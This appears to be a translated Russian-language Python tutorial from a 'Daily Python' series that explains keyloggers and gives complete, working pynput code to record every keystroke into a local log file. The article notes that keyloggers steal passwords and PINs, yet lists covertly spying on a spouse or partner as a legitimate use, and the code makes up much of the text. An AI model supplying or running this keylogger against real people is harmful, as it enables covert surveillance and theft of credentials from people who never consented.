Эта статья представляет собой руководство по разработке простого регистратора ключей с использованием Python.

Эта статья - часть задачи Daily Python, которую я взял на себя. Я буду писать короткие статьи о Python ежедневно.

Требования:

  1. Python 3.0
  2. Пип

Установите следующие пакеты:

  1. Pynput - Библиотека для управления и контроля устройств ввода.
pip install pynput

Что такое Key Logger?

Ведение журнала нажатий клавиш, часто называемое клавиатурным шифрованием или захватом клавиатуры, представляет собой действие по записи нажатий клавиш на клавиатуре, как правило, скрытно, так что человек, использующий клавиатуру, не подозревает, что их действия отслеживаются. Затем данные могут быть извлечены человеком, работающим с программой регистрации. Эта программа регистрации называется Key Logger.

Большинство современных клавиатурных шпионов считаются законным программным или аппаратным обеспечением и продаются на открытом рынке. Разработчики и поставщики предлагают длинный список случаев, в которых было бы законно и целесообразно использовать кейлоггеры, в том числе:

  • Родительский контроль: родители могут отслеживать, что их дети делают в Интернете, и могут выбрать получение уведомлений о любых попытках доступа к веб-сайтам, содержащим контент для взрослых или иным образом неприемлемый контент;
  • Ревнивые супруги или партнеры могут использовать кейлоггер, чтобы отслеживать действия своей второй половины в Интернете, если они подозревают их в «виртуальном обмане»;
  • Безопасность компании: отслеживание использования компьютеров в нерабочих целях или использования рабочих станций в нерабочее время;
  • Безопасность компании: использование клавиатурных шпионов для отслеживания ввода ключевых слов и фраз, связанных с коммерческой информацией, которая может нанести ущерб компании (материальный или иной) в случае раскрытия;
  • Другие меры безопасности (например, правоохранительные органы): использование записей кейлоггеров для анализа и отслеживания инцидентов, связанных с использованием персональных компьютеров.

Почему кейлоггеры представляют собой угрозу?

В отличие от других типов вредоносных программ, кейлоггеры не представляют угрозы для самой системы. Тем не менее, они могут представлять серьезную угрозу для пользователей, поскольку могут использоваться для перехвата паролей и другой конфиденциальной информации, вводимой с клавиатуры. В результате киберпреступники могут получить PIN-коды и номера счетов для систем электронных платежей, пароли к учетным записям онлайн-игр, адреса электронной почты, имена пользователей, пароли электронной почты и т. Д.

Типы клавиатурных шпионов

  1. Программное обеспечение и
  2. Аппаратное обеспечение

Импортируйте необходимые библиотеки

import pynput 
from pynput.keyboard import Key, Listener

Определите список для хранения ключей и переменную для хранения количества символов

charCount = 0
keys = []

Давайте напишем функцию для выполнения некоторых действий при нажатии клавиши

def onKeyPress(key):
    try: 
        print('Key Pressed : ',key)    #Print pressed key   
    except Exception as ex:
        print('There was an error : ',ex)

Теперь давайте напишем функцию для обработки отпускания клавиш.

def onKeyRelease(key):
    global keys, charCount  #Access global variables
    if key == Key.esc:
        return False
    else:
        if key == Key.enter:    #Write keys to file
            writeToFile(keys)
            charCount = 0
            keys = []
        elif key == Key.space:  #Write keys to file
            key = ' '
            writeToFile(keys)
            keys = []
            charCount = 0
        keys.append(key)    #Store the Keys
        charCount += 1      #Count keys pressed

Наконец, давайте определим функцию, которая будет регистрировать нажатые клавиши в файле журнала.

def writeToFile(keys):
    with open('log.txt','a') as file:
        for key in keys:
            key = str(key).replace("'","")   #Replace ' with space
            if 'key'.upper() not in key.upper():
                file.write(key)
        file.write("\n")    #Insert new line

Теперь, когда у нас есть функции, определенные для обработки нажатия и отпускания клавиш, мы можем использовать Listener, предоставляемый «pynput», для регистрации клавиш.

with Listener(on_press=onKeyPress,\
    on_release=onKeyRelease) as listener:
    listener.join()

Использованная литература:

  1. Https://en.wikipedia.org/wiki/Keystroke_logging
  2. Https://securelist.com/keyloggers-how-they-work-and-how-to-detect-them-part-1/36138/

Надеюсь, эта статья была полезной, оставьте несколько аплодисментов, если она вам понравилась.

Следите за ежедневным вызовом Python здесь: